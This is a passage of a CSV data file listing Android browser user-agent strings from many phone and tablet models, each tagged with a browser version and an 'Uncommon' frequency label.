Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; GT-I8262 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\nDalvik/2.1.0 (Linux; U; Android 5.0; SM-N900V Build/LRX21V),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Milestone X2 Build/45.0.43) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.1; en-us; HUAWEI G610-U20 Build/HuaweiG610-U20) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.1; en-us; ASUS Transformer Pad TF700T Build/JOP40D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; A727 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-es; GT-S7500L Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; Xoom Build/IMM76) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-N7105 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9100P Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; HTC_One_S Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-gb; GT-I9003 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-P5100 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; Next8P12 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-au; GT-I9300T Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I407 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3;en-es; ZTE V791 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-au; HTC EVA_UL Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Lenovo A369i Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-au; GT-P5100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; es-es; A200 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; HUAWEI M881 Build/HuaweiM881) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LG-LG730 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; DROID BIONIC 4G Build/6.7.2-223_DBN_M4-23) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 3.2; en-gb; GT-P6200 Build/HTJ85B) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; Huawei-U8652 Build/HuaweiU8652B855) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; GT-I8190 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; fr-ca; GT-P5210 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-in; N855D Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; C5170 Build/IML77) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; HTC_A510c Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-au; GT-I9305 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-ca; SGH-T589W Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.1; ar-eg; HUAWEI G610-U20 Build/HuaweiG610-U20) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 3.2.1; en-us; LePanII Build/HTK75) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; it-it; GT-I9100 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; Ally Build/FRG83G) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\nDalvik/2.1.0 (Linux; U; Android 5.1; Lenovo TB3-710I Build/LMY47I),,Uncommon\n\"Mozilla/5.0 (Linux; Android)AppleWebKit/535.19 (KHTML, like Gecko) DevBrowse/18.0.1025.133 Mobile Safari/535.19\",,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SGH-S730G Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; de-de; GT-S5830i Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; he-il; MX4 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Mobile Safari/537.36\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; SGH-M919 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-au; SAMSUNG GT-S5360T Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\nDalvik/1.6.0 (Linux; U; Android 4.4.4; SM-S820L Build/KTU84P),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-gb; GT-P5100 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; fr-fr; PGN-403 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; de-de; GT-I9100 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; NABI2-NV7A Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; HUAWEI Y330-U01 Build/HuaweiY330-U01) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-ca; SGH-I957R Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-gb; GT-N7105 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; Genymotion ('Phone' version) Build/GWK74) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-ph; GT-S5300 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; Android SDK built for x86 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; he-il; GT-I9100 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HUAWEI Y360-U61 Build/HUAWEIY360-U61) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30;\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; pt-br; GT-P3100 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; HTC_H2000C Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; T-Mobile G2 Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; es-us; DROID BIONIC Build/9.8.2O-72_VZW-22) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; de-de; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Android SDK built for x86 Build/JRO03H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.1-update1; en-us; HUAWEI-M860 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; IDEOS S7 Slim Build/FRG83G) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\nBLU STAR4.0/V2 Linux/3.0.13 Android/4.0 Release/02.15.2012 Browser/AppleWebKit534.30 Mobile Safari/534.30 MBBMS/2.2 System/Android 4.2.2,,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; cs-cz; ALLVIEW_P5_Quad Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 3.2; en-us; A501 Build/HTJ85B) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; MediaPad 7 Lite Build/HuaweiMediaPad) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.1-update1; en-us; M860 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; ALCATEL ONE TOUCH 4010X Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SAMSUNG-SGH-I777 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\nDalvik/1.6.0 (Linux; U; Android 4.2.2; GT-P5210 Build/JDQ39),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-gb; SonyEricssonLT18i Build/4.0.2.A.0.62) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; MOTWX435KT Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HTC Desire 510 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; fr-fr; A200 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\nDalvik/2.1.0 (Linux; U; Android 6.0.1; SAMSUNG-SM-T377A Build/MMB29K),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; ONE TOUCH 4033A Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.2 Mobile Safari/534.30\",4.2,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2; en-gb; GT-I5500 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; N9100 Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-ca; GT-S7560M-parrot Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Android 5.0.2; MotoE2(4G-LTE) Build/LXI22.50-24.1) AppleWebKit/537.36 (KHTML, like Gecko) NTENTBrowser/1.1.0.506 (Kcell-KZ) Mobile Safari/537.36\",,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; it-it; M8pro Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; iw-il; LG-E450f Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.2; en-gb; HTC Desire 2.33.161.6 Build/FRG83G) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; N850 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-nz; GT-I9300T Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; HTC_PN07120/3.17.502.3 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux;U;Android 4.4;es-us;Philips S398 Build/JDQ39) AppleWebkit/534.30 (HTML,like Gecko) Version/4.0 Mobile Safari/534.30;\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; Samsung Galaxy S3 - 4.3 - API 18 - 720x1280 Build/JLS36G) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-US; B1-A71 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.1 Safari/534.30\",4.1,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; fr-fr; GT-P3110 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; de-de; GT-P5200 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SM-T210 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; GT-S5570 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; USCC-C6721 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-za; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; Android 6.0.1; E2303 Build/26.3.A.1.33; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Mobile Safari/537.36\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; DX752 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2; en-us; Android SDK built for x86 Build/JOP40C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; N9101 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; tr-tr; GT-N7100 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; da-dk; GT-P5110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; KFOTE Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2; pt-br; GT-P1000L Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.1-update1; en-gb; GT-I5700 Build/ECLAIR) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; it-it; GT-P5110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; es-sa; LG-E615f Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; pt-br; GT-S5367 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; ro-ro; Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; SGH-T589 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; TECNO H5 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-gb; IdeaTab S6000-F Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-mx; ONE TOUCH 4007A Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\nDalvik/1.6.0 (Linux; U; Android 4.4.3; HTC331ZLVWPP Build/KTU84L),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; it-it; GT-N8000 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; es-es; GT-S5301L Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; LG-P870/P87010i Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; es-us; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; ThinkPad Tablet Build/ThinkPadTablet_A400_03) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; PJ83100/2.20.502.7 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; ZX-X15 Build/JRO03H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-au; LG-E435k Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; nl-nl; K010 Build/KOT49H) AppleWebKit/537.16 (KHTML, like Gecko) Version/4.0 Safari/537.16\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; en-au; GT-I9100 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-au; GT-I9100T Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\nDalvik/2.1.0 (Linux; U; Android 7.0; SM-G955U Build/NRD90M),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; tr-tr; GT-N8005 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SCH-I815 4G Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; N762 Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.4; ar-ae; GT-I9060I Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; HUAWEI Y336-A1 Build/HuaweiY336-A1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; pt-pt; GT-S5360 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; TM9S775 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-P5110 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; PRO7D Build/JRO03H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.1; es-us; GT-P1010 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.7; en-gb; ONE TOUCH 983 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; SGPT12 Build/TJDSU0177) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; es-es; A500 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; es-es; GT-P3110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3.1; en-us; GT-I9100 Build/JLS36I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 CyanogenMod/10.2/i9100\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; cs-cz; GT-P3100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; fi-fi; GT-P5110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; LG-VM701 Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-gb; HTC_DesireS_S510e Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; A554C Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.7; en-gb; SonyEricssonST25i 